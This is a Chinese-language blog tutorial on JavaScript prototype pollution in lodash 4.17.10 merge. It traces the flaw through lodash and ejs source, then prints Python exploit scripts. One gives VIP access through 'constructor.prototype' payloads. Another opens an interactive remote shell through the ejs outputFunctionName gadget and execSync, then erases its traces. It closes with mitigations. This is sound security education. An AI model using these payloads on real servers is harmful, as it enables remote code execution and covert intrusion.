前端原型鏈汙染漏洞竟可以拿下伺服器shell?

25minutes發表於2021-09-09

作為前端開發者,某天偶然遇到了原型鏈汙染漏洞,原本以為沒有什麼影響,好奇心驅使下,抽絲剝繭,發現原型鏈汙染漏洞竟然也可以拿下伺服器的shell管理許可權,不可不留意!

某天正奮力的coding,機器人給發了這樣一條訊息

圖片描述

檢視發現是一個叫“原型鏈汙染”(Prototype chain pollution)的漏洞,還好這只是 dev 依賴,當前功能下幾乎沒什麼影響,其修復方式可以透過升級包版本即可。

圖片描述

“原型鏈汙染”漏洞,看起來好高大上的名字,和“”有得一拼,好奇心驅使下,抽絲剝繭地研究一番。

目前該漏洞影響了框架常用的有:

  • Lodash
  • Jquery

0x00 同學實現一下物件的合併?

面試官讓被面試的同學寫個物件合併,該同學一聽這問題,就這,就這,30s就寫好了一份利用遞迴實現的物件合併,程式碼如下:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
複製程式碼

可是面試的同學不知道,他實現的程式碼,會埋下一個原型鏈汙染的漏洞,大家下次面試新同學的時候,可以問問了

為啥會有原型鏈汙染漏洞?

那麼接下來,我們一起深入淺出地認識一下原型鏈漏洞,以便於在日常開發過程中就規避掉這些可能的風險。

0x01 JavaScript中的原型鏈

1.1 基本概念

在javaScript中,例項物件與原型之間的連結,叫做原型鏈。其基本思想是利用原型讓一個引用型別繼承另一個引用型別的屬性和方法。然後層層遞進,就構成了例項與原型的鏈條,這就是所謂原型鏈的基本概念。

三個名詞:

  1. 隱式原型:所有引用型別(函式、陣列、物件)都有 __proto__ 屬性,例如arr.__proto__
  2. 顯式原型:所有函式擁有prototype屬性,例如:func.prototype
  3. 原型物件:擁有prototype屬性的物件,在定義函式時被建立

原型鏈之間的關係可以參考圖1.1:

圖片描述

1.2 原型鏈查詢機制

當一個變數在呼叫某方法或屬性時,如果當前變數並沒有該方法或屬性,就會在該變數所在的原型鏈中依次向上查詢是否存在該方法或屬性,如果有則呼叫,否則返回undefined

1.3 哪裡會用到

在開發中,常常會用到 toString()valueOf()等方法,array型別的變數擁有更多的方法,例如forEach()map()includes()等等。例如宣告瞭一個arr陣列型別的變數,arr變數卻可以呼叫如下圖中並未定義的方法和屬性。

圖片描述

透過變數的隱式原型可以檢視到,陣列型別變數的原型中已經定義了這些方法。例如某變數的型別是Array,那麼它就可以基於原型鏈查詢機制,呼叫相應的方法或屬性。

圖片描述

1.4 風險點分析&原型鏈汙染漏洞原理

首先看一個簡單的例子:

var a = {name: 'dyboy', age: 18};
a.__proto__.role = 'administrator'
var b = {}
b.role    // output: administrator
複製程式碼

實際執行結果如下:

圖片描述

可以發現,給隱式原型增加了一個role的屬性,並且賦值為administrator(管理員)。在例項化一個新物件b的時候,雖然沒有role屬性,但是透過原型鏈可以讀取到透過物件a在原型鏈上賦值的‘administrator’。

問題就來了,__proto__指向的原型物件是可讀可寫的,如果透過某些操作(常見於mergeclone等方法),使得駭客可以增、刪、改原型鏈上的方法或屬性,那麼程式就可能會因原型鏈汙染而受到DOS、越權等攻擊

0x02 Demo演示 & 組合拳

2.1 Demo演示

Demo使用koa2來實現的服務端:

const Koa = require("koa");
const bodyParser = require("koa-bodyparser");
const _ = require("lodash");

const app = new Koa();
app.use(bodyParser());

// 合併函式
const combine = (payload = {}) => {
  const prefixPayload = { nickname: "bytedanceer" };
  // 用法可參考:
  _.merge(prefixPayload, payload);
  // 另外其他也存在問題的函式:merge defaultsDeep mergeWith
};

app.use(async (ctx) => {
  // 某業務場景下,合併了使用者提交的payload
  if(ctx.method === 'POST') {
    combine(ctx.request.body);
  }
  // 某頁面某處邏輯
  const user = {
    username: "visitor",
  };
  let welcomeText = "同學,游泳健身,瞭解一下?";
  // 因user.role不存在,所以恆為假(false),其中程式碼不可能執行
  if (user.role === "admin") {
    welcomeText = "尊敬的VIP,您來啦!";
  }
  ctx.body = welcomeText;
});
app.listen(3001, () => {
  console.log("Running: ");
});
複製程式碼

當一個遊客使用者訪問網址: 時,頁面會顯示“同學,游泳健身,瞭解一下?”

圖片描述

可以看到在程式碼中使用了loadsh(4.17.10版本)的merge()函式,將使用者的payloadprefixPayload做了合併。

乍一看,似乎並沒有什麼問題,對於業務似乎也不會產生什麼問題,無論使用者訪問什麼都應該只會返回“同學,游泳健身,瞭解一下?”這句話,程式上user.role是一個恆為衡為undefined的條件,則永遠不會執行if判斷體中的程式碼。

然而使用特殊的payload測試,也就是執行一下我們的attack.py指令碼

圖片描述

當我們再訪問

圖片描述

瞬間變成了健身房的VIP對吧,可以快樂白嫖了?此時,無論什麼使用者訪問這個網址,返回的網頁都會是顯示如上結果,人人VIP時代。如果是我們寫的程式碼線上上出現這問題,【事故通報】瞭解一下。

圖片描述

attact.py 的程式碼如下:

import requests
import json
req = requests.Session()
target_url = ''
headers = {'Content-type': 'application/json'}
# payload = {"__proto__": {"role": "admin"}}
payload = {"constructor": {"prototype": {"role": "admin"}}}
res = req.post(target_url, data=json.dumps(payload),headers=headers)
print('攻擊完成!')
複製程式碼

攻擊程式碼中的payload:{"constructor": {"prototype": {"role": "admin"}}} 透過merge() 函式實現合併賦值,同時,由於payload設定了constructormerge時會給原型物件增加role屬性,且預設值為admin,所以訪問的使用者變成了“VIP”

2.2 分析一下loadsh中merge函式的實現

分析的lodash版本4.17.10(感興趣的同學可以拿到原始碼自己手動追溯????) node_modules/lodash/merge.js中透過呼叫了baseMerge(object, source, srcIndex)函式 則定位到:node_modules/lodash/_baseMerge.js 第20行的baseMerge函式

function baseMerge(object, source, srcIndex, customizer, stack) {
  if (object === source) {
    return;
  }
  baseFor(source, function(srcValue, key) {
    // 如果合併的屬性值是物件
    if (isObject(srcValue)) {
      stack || (stack = new Stack);
      // 呼叫 baseMerge
      baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
    }
    else {
      var newValue = customizer
        ? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
        : undefined;
      if (newValue === undefined) {
        newValue = srcValue;
      }
      assignMergeValue(object, key, newValue);
    }
  }, keysIn);
}
複製程式碼

關注到safeGet的函式:

function safeGet(object, key) {
  return key == '__proto__'
    ? undefined
    : object[key];
}
複製程式碼

這也是為什麼上面的payload為什麼沒使用__proto__而是使用了等同於這個屬性的建構函式的prototype

payload是一個物件因此定位到node_modules/lodash/_baseMergeDeep.js第32行:

function baseMergeDeep(object, source, key, srcIndex, mergeFunc, customizer, stack) {
  var objValue = safeGet(object, key),
      srcValue = safeGet(source, key),
      stacked = stack.get(srcValue);
  if (stacked) {
    assignMergeValue(object, key, stacked);
    return;
  }
複製程式碼

定位函式assignMergeValuenode_modules/lodash/_assignMergeValue.js第13行

function assignMergeValue(object, key, value) {
  if ((value !== undefined && !eq(object[key], value)) ||
      (value === undefined && !(key in object))) {
    baseAssignValue(object, key, value);
  }
}
複製程式碼

再定位baseAssignValuenode_modules/lodash/_baseAssignValue.js第12行

function baseAssignValue(object, key, value) {
  if (key == '__proto__' && defineProperty) {
    defineProperty(object, key, {
      'configurable': true,
      'enumerable': true,
      'value': value,
      'writable': true
    });
  } else {
    object[key] = value;
  }
}
複製程式碼

繞過了if判斷,然後進入else邏輯中,是一個簡單的直接賦值操作,並未對constructorprototype進行判斷,因此就有了:

prefixPayload = { nickname: "bytedanceer" };
// payload:{"constructor": {"prototype": {"role": "admin"}}}
_.merge(prefixPayload, payload);
// 然後就給原型物件賦值了一個名為role,值為admin的屬性
複製程式碼

故而導致了使用者會進入一個不可能進入的邏輯裡,也就造成了上面出現的“越權”問題。

2.3 漏洞組合拳,拿下伺服器許可權

從上面的Demo案例中,你可能會有種錯覺:原型鏈漏洞似乎並沒有什麼太大的影響,是不是不需要特別關注(相較於sql注入,xsscsrf等漏洞)。

真的是這樣嗎?來看一個稍微修改了的另一個例子(增加使用了ejs渲染引擎),以原型鏈汙染漏洞為基礎,我們一起拿下伺服器的shell

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const app = express();
app
    .use(bodyParser.urlencoded({extended: true}))
    .use(bodyParser.json());
app.set('views', './views');
app.set('view engine', 'ejs');
app.get("/", (req, res) => {
    let title = '遊客你好';
    const user = {};
    if(user.role === 'vip') {
        title = 'VIP你好';
    }
    res.render('index', {title: title});
});
app.post("/", (req, res) => {
    let data = {};
    let input = req.body;
    lodash.merge(data, input);
    res.json({message: "OK"});
});
app.listen(8888, '0.0.0.0');
複製程式碼

該例子基於express+ejs+lodash,同理,訪問localhost:8888也是隻會顯示遊客你好,同上可以使用原型鏈攻擊,使得“人人VIP”,但不僅限於此,我們還可以深入利用,藉助ejs的渲染以及包含原型鏈汙染漏洞的lodash就可以實現RCERemote Code Excution,遠端程式碼執行)

圖片描述

先看看我們可以實現的攻擊效果:

圖片描述

可以看到,藉助attack.py指令碼,我們可以執行任意的shell命令,於此同時我們還保證了不會影響其他使用者(管理員無法輕易感知入侵),在接下來的情況駭客就會常識性地進行提權、許可權維持、橫向滲透等攻擊,以獲取更大利益,但與此同時,也會給企業帶來更大損失。

上面的攻擊方法,是基於loadsh的原型鏈汙染漏洞和ejs模板渲染相配合形成的程式碼注入,進而形成危害更大的RCE漏洞。

接下來看看形成漏洞的原因:

  1. 打斷點除錯render方法

圖片描述

  1. 進入render方法,將options和模板名傳給app.render()

圖片描述

  1. 獲取到對應的渲染引擎ejs

圖片描述

  1. 進入一個異常處理

圖片描述

  1. 繼續

圖片描述

  1. 透過模板檔案渲染

圖片描述

  1. 處理快取,這個函式也沒啥可以利用的地方

圖片描述

  1. 終於來到模板編譯的地方了

圖片描述

  1. 繼續衝

圖片描述

  1. 終於進入ejs庫裡了

圖片描述

在這個檔案當中,發現第578行的opts.outputFunctionName是一undefined的值,如果該屬性值存在,那麼就拼接到變數prepended中,之後的第597行可以看到,作為了輸出原始碼的一部分

圖片描述

在697行,將拼接的原始碼,放到了回撥函式中,然後返回該回撥函式

  1. tryHandleCache中呼叫了該回撥函式

圖片描述

最後完成了渲染輸出到客戶端。

可以發現在第10步驟中,第578行的opts.outputFunctionName是一undefined的值,我們透過物件原型鏈賦值一個js程式碼,那麼它就會拼接到程式碼中(程式碼注入),並且在模版渲染的過程中會執行該js程式碼。

圖片描述

nodejs環境下,可以藉助其可呼叫系統方法程式碼拼接到該渲染回撥函式中,作為函式體傳遞給回撥函式,那麼就可以實現遠端任意程式碼執行,也就是上面演示的效果,使用者可以執行任意系統命令。

2.4 優雅地實現一個攻擊指令碼

圖片描述

Exploit完整指令碼如下:

import requests
import json

req = requests.Session()

target_url = ''

headers = {'Content-type': 'application/json'}

# 無效攻擊
# payload = {"__proto__": {"role": "vip"}}

# 普通的邏輯攻擊
payload = {"content":{"constructor": {"prototype": {"role": "vip"}}}}

# RCE攻擊
# payload = {"content":{"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load('child_process').execSync('ls /'); //"}}}}

# 反彈shell,比如反彈到MSF/CS上

# 模擬一個互動式shell
if __name__ == "__main__":
    payload = '{"content":{"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load('child_process').execSync('{}'); //"}}}}'
    while(True):
        shell = input('shell: ')
        if shell == '':
            continue
        if shell == 'exit':
            break
        formatStr = "a; return global.process.mainModule.constructor._load('child_process').execSync('" + shell +"'); //"
        payload = {"content":{"constructor": {"prototype": {"outputFunctionName": formatStr}}}}

        res = req.post(target_url, data=json.dumps(payload),headers=headers)

        res2 = req.get(target_url)

        print(res2.text)

        # 處理痕跡
        formatStr = "a; return delete Object.prototype['outputFunctionName']; //"
        payload = {"content":{"constructor": {"prototype": {"outputFunctionName": formatStr}}}}
        res = req.post(target_url, data=json.dumps(payload),headers=headers)
        req.get(target_url)
複製程式碼

0x03 如何規避或修復漏洞

3.1 可能存在漏洞的場景

  • 物件克隆
  • 物件合併
  • 路徑設定

3.2 如何規避

首先,原型鏈的漏洞其實需要攻擊者對於專案工程或者能夠透過某些方法(例如檔案讀取漏洞)獲取到原始碼,攻擊的研究成本較高,一般不用擔心。但攻擊者可能會透過一些指令碼進行批次黑盒測試,或藉助某些經驗或規律,便可降低研究成本,所以也不能輕易忽略此問題。

  1. 及時升級包版本:公司的研發體系中,安全運維參與整個過程,在打包等操作時,會自動觸發安全檢測,其實就提醒了開發者可能存在有風險的三方包,這就需要大家及時升級對應的三方包到最新版,或者嘗試替換更加安全的包。
  2. 關鍵詞過濾:結合漏洞可能存在場景,可多關注下物件複製和合並等程式碼塊,是否針對__proto__constructorprototype關鍵詞做過濾。
  3. 使用來判斷屬性是否直接來自於目標,這個方法會忽略從原型鏈上繼承到的屬性。
  4. 在處理 json 字串時進行判斷,過濾敏感鍵名。
  5. 使用 Object.create(null) 建立沒有原型的物件。
  6. Object.freeze(Object.prototype)凍結Object的原型,使Object的原型無法被修改,注意該方法是一個淺層凍結。

0x04 問題 & 探索

4.1 更多問題

  1. Q:為什麼在demo案例中payload中不用__proto__

A:在我使用的loadsh庫4.17.10版本中,發現針對__proto__關鍵詞做了判斷和過濾,因此想到了透過訪問建構函式的prototype的方式繞過

圖片描述

  1. Q:在Demo中,為什麼被攻擊後,任意使用者訪問都是VIP身份了?

AJavaAcript是單執行緒執行程式的,所以原型鏈上的屬性相當於是global,所有連線的使用者都共享,當某個使用者的操作改變了原型鏈上的內容,那麼所有訪問者訪問程式的都是基於修改之後的原型鏈

4.2 探索

作為安全研究人員,上面演示的原型鏈漏洞看似威脅並不大,但實際上駭客的攻擊往往是漏洞的組合,當一個輕危級別的漏洞,作為高危漏洞的攻擊的基礎,那麼低危漏洞還能算是低危漏洞嗎?這更需要安全研究人員,不僅要追求對高危漏洞的挖掘,還得增強對基礎漏洞的探索意識。

作為開發人員,我們可以嘗試下,如何藉助工具快速檢測程式中是否存在原型鏈汙染漏洞,以期望加強企業程式的安全性。幸運的是,在公司內部已經透過編譯平臺做了一些安全檢查,大家可以加強對於安全的關注度。

原型鏈汙染的利用難度雖然較大,但是基於其特性,所有的開源庫都在npm上可以看到,如果惡意的駭客,透過批次檢測開源庫,並且透過蒐集特徵,那麼他想要獲取攻擊目標程式的是否引用具有漏洞的開源庫也並非是一件困難的事情。

那麼我們自己寫一個指令碼去Github上刷一波,也不是不行…

圖片描述

作者:DYBOY
連結:
著作權歸作者所有。商業轉載請聯絡作者獲得授權,非商業轉載請註明出處。

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/4328/viewspace-2797664/,如需轉載,請註明出處,否則將追究法律責任。

相關文章